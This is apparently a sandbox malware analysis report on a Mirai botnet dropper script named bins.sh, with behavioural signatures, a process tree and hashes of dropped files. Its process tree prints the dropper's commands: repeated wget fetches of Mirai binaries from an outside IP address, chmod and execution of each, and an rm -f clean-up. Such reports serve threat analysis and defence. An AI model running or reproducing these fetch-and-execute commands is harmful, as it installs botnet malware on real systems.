Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    16/05/2026, 19:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 325B
  • Sample260516-x4ehescs6l
  • SHA256 754b41c6595049c9ad2f0eca57ea2606be99b98fe311a51287811029e641fd11
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetmiraidefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (23689) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 11 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1493
    • /usr/bin/wget
      wget http://5.231.248.211:80/mirai.arm -O dvrHelper
      2⤵
      • Writes file to tmp directory
      PID:1494
    • /bin/chmod
      chmod 777 dvrHelper
      2⤵
      • File and Directory Permissions Modification
      PID:1495
    • /tmp/dvrHelper
      ./dvrHelper
      2⤵
        PID:1496
      • /usr/bin/wget
        wget http://5.231.248.211:80/mirai.m68k -O dvrHelper
        2⤵
        • Writes file to tmp directory
        PID:1498
      • /bin/chmod
        chmod 777 dvrHelper
        2⤵
        • File and Directory Permissions Modification
        PID:1499
      • /tmp/dvrHelper
        ./dvrHelper
        2⤵
          PID:1500
        • /usr/bin/wget
          wget http://5.231.248.211:80/mirai.mips -O dvrHelper
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1502
        • /bin/chmod
          chmod 777 dvrHelper
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/dvrHelper
          ./dvrHelper
          2⤵
            PID:1508
          • /usr/bin/wget
            wget http://5.231.248.211:80/mirai.mpsl -O dvrHelper
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 dvrHelper
            2⤵
            • File and Directory Permissions Modification
            PID:1512
          • /tmp/dvrHelper
            ./dvrHelper
            2⤵
              PID:1513
            • /usr/bin/wget
              wget http://5.231.248.211:80/mirai.ppc -O dvrHelper
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /bin/chmod
              chmod 777 dvrHelper
              2⤵
              • File and Directory Permissions Modification
              PID:1516
            • /tmp/dvrHelper
              ./dvrHelper
              2⤵
                PID:1517
              • /usr/bin/wget
                wget http://5.231.248.211:80/mirai.sh4 -O dvrHelper
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /bin/chmod
                chmod 777 dvrHelper
                2⤵
                • File and Directory Permissions Modification
                PID:1520
              • /tmp/dvrHelper
                ./dvrHelper
                2⤵
                  PID:1521
                • /usr/bin/wget
                  wget http://5.231.248.211:80/mirai.x86 -O dvrHelper
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1524
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                  • Deletes itself
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:1525
                • /usr/bin/wget
                  wget http://5.231.248.211:80/mirai.spc -O dvrHelper
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1530
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                    PID:1531
                  • /usr/bin/wget
                    wget http://5.231.248.211:80/mirai.arm7 -O dvrHelper
                    2⤵
                    • Writes file to tmp directory
                    PID:1533
                  • /bin/chmod
                    chmod 777 dvrHelper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1534
                  • /tmp/dvrHelper
                    ./dvrHelper
                    2⤵
                      PID:1535
                    • /usr/bin/wget
                      wget http://5.231.248.211:80/mirai.arm_universal -O dvrHelper
                      2⤵
                      • Writes file to tmp directory
                      PID:1537
                    • /bin/chmod
                      chmod 777 dvrHelper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1538
                    • /tmp/dvrHelper
                      ./dvrHelper
                      2⤵
                        PID:1539
                      • /usr/bin/wget
                        wget http://5.231.248.211:80/mirai.arm5n -O dvrHelper
                        2⤵
                        • Writes file to tmp directory
                        PID:1541
                      • /bin/chmod
                        chmod 777 dvrHelper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1544
                      • /tmp/dvrHelper
                        ./dvrHelper
                        2⤵
                          PID:1545
                        • /bin/rm
                          rm -f bins.sh config-err-PNnJmY dvrHelper netplan_wqazhj4m snap-private-tmp ssh-eYg6aXHJ4Rhb systemd-private-b6ad9ecc9610448696d41dfa5b294a72-ModemManager.service-Vkeva1 systemd-private-b6ad9ecc9610448696d41dfa5b294a72-bolt.service-7xvJwG systemd-private-b6ad9ecc9610448696d41dfa5b294a72-colord.service-9kNTWM systemd-private-b6ad9ecc9610448696d41dfa5b294a72-systemd-resolved.service-VMUzRd systemd-private-b6ad9ecc9610448696d41dfa5b294a72-systemd-timedated.service-jclDJ8
                          2⤵
                            PID:1547

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 59KB
                              • SHA256 4aa8570f8aaf53131154f8e1823310aa92a9c241c751d340a79a8b03a69ee086
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 58KB
                              • SHA256 2b6708490f9a52dd14878524bee2cfbced0c5d820f3845c78d166349aca244c1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 77KB
                              • SHA256 247205376dab8c6a556a4d406534bee1865e4454190422fcc0ef30b90a44a47d
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 78KB
                              • SHA256 e73f85119316e6b9b2ec804a4de846506509622be3d0fecc32757b0026209cb7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 56KB
                              • SHA256 570defa7e26fadd39e7bef381db30ca56f2defbe57b5fc3030eb5fb2db77e09c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              dvrHelper
                              • Path /tmp/dvrHelper
                              • Size 73KB
                              • SHA256 e8b4af08850982fa202a7d519d8eecc0c49fd243cce16b023981e0c94447b20e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download